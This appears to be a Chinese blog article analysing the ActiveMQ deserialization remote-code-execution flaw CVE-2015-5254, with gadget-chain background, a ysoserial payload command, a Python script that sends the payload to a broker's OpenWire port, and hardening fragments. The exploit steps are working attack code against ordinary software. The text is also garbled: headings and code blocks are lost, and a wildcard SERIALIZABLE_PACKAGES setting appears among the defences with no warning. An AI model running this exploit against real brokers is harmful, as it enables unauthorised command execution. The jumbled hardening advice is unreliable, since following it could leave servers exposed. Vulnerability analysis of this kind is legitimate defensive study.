您好,登录后才能下订单哦!
# ActiveMQ反序列化任意命令执行漏洞的实例分析
## 一、漏洞背景
Apache ActiveMQ作为一款流行的开源消息中间件,广泛应用于分布式系统中。2016年曝光的CVE-2015-5254漏洞揭示了其Java反序列化机制的安全缺陷,攻击者可通过构造恶意序列化数据实现远程代码执行(RCE)。本文将通过技术原理分析、漏洞复现和防御方案三个维度深入剖析该漏洞。
## 二、漏洞原理分析
### 2.1 Java反序列化漏洞基础
Java序列化/反序列化机制允许对象转换为字节流进行传输或存储。当程序反序列化不可信数据时,可能触发以下危险行为:
```java
ObjectInputStream.readObject() → 自动执行readObject()方法
攻击者可利用以下Gadget Chain:
恶意序列化数据 → 触发特定类的readObject() → 调用危险方法(如Runtime.exec())
ActiveMQ通过OpenWire协议通信时,核心漏洞点位于:
org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#createThrowable()
该方法在反序列化异常对象时未做严格校验,导致攻击者可注入恶意Throwable
对象。
典型利用依赖以下关键类:
- org.apache.commons.collections.Transformer
- org.apache.commons.collections.functors.InvokerTransformer
- org.apache.commons.collections.map.LazyMap
通过精心构造的Transformer链,最终可达成任意命令执行:
InvokerTransformer.transform() → Method.invoke() → Runtime.exec("calc")
使用ysoserial生成Payload:
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > payload.ser
import socket
with open('payload.ser', 'rb') as f:
payload = f.read()
# 包装为OpenWire协议格式
exploit = b'\x00\x00\x00\x01' + payload[4:]
s = socket.socket()
s.connect(('target_ip', 61616))
s.send(exploit)
docker exec activemq ls /tmp | grep pwned
Wireshark捕获的恶意流量显示:
0000 00 00 00 01 ac ed 00 05 73 72 00 11 6a 61 76 61 ........sr..java
0010 2e 75 74 69 6c 2e 48 61 73 68 4d 61 70 05 07 da .util.HashMap...
org.apache.activemq.SERIALIZABLE_PACKAGES
白名单控制<broker xmlns="http://activemq.apache.org/schema/core">
<transportConnectors>
<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?wireFormat.maxInactivityDuration=1000&serializablePackages=java.lang,java.util"/>
</transportConnectors>
</broker>
-Dorg.apache.activemq.SERIALIZABLE_PACKAGES="*"
auditctl -a always,exit -F arch=b64 -S execve -k activemq_rce
该漏洞作为Java反序列化漏洞的经典案例,至今仍对分布式系统安全设计具有重要警示意义。
参考资源: 1. ActiveMQ JIRA Issue AMQ-6472 2. Common Collections Gadget Chain分析 3. CVE-2015-5254 NVD记录 “`
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。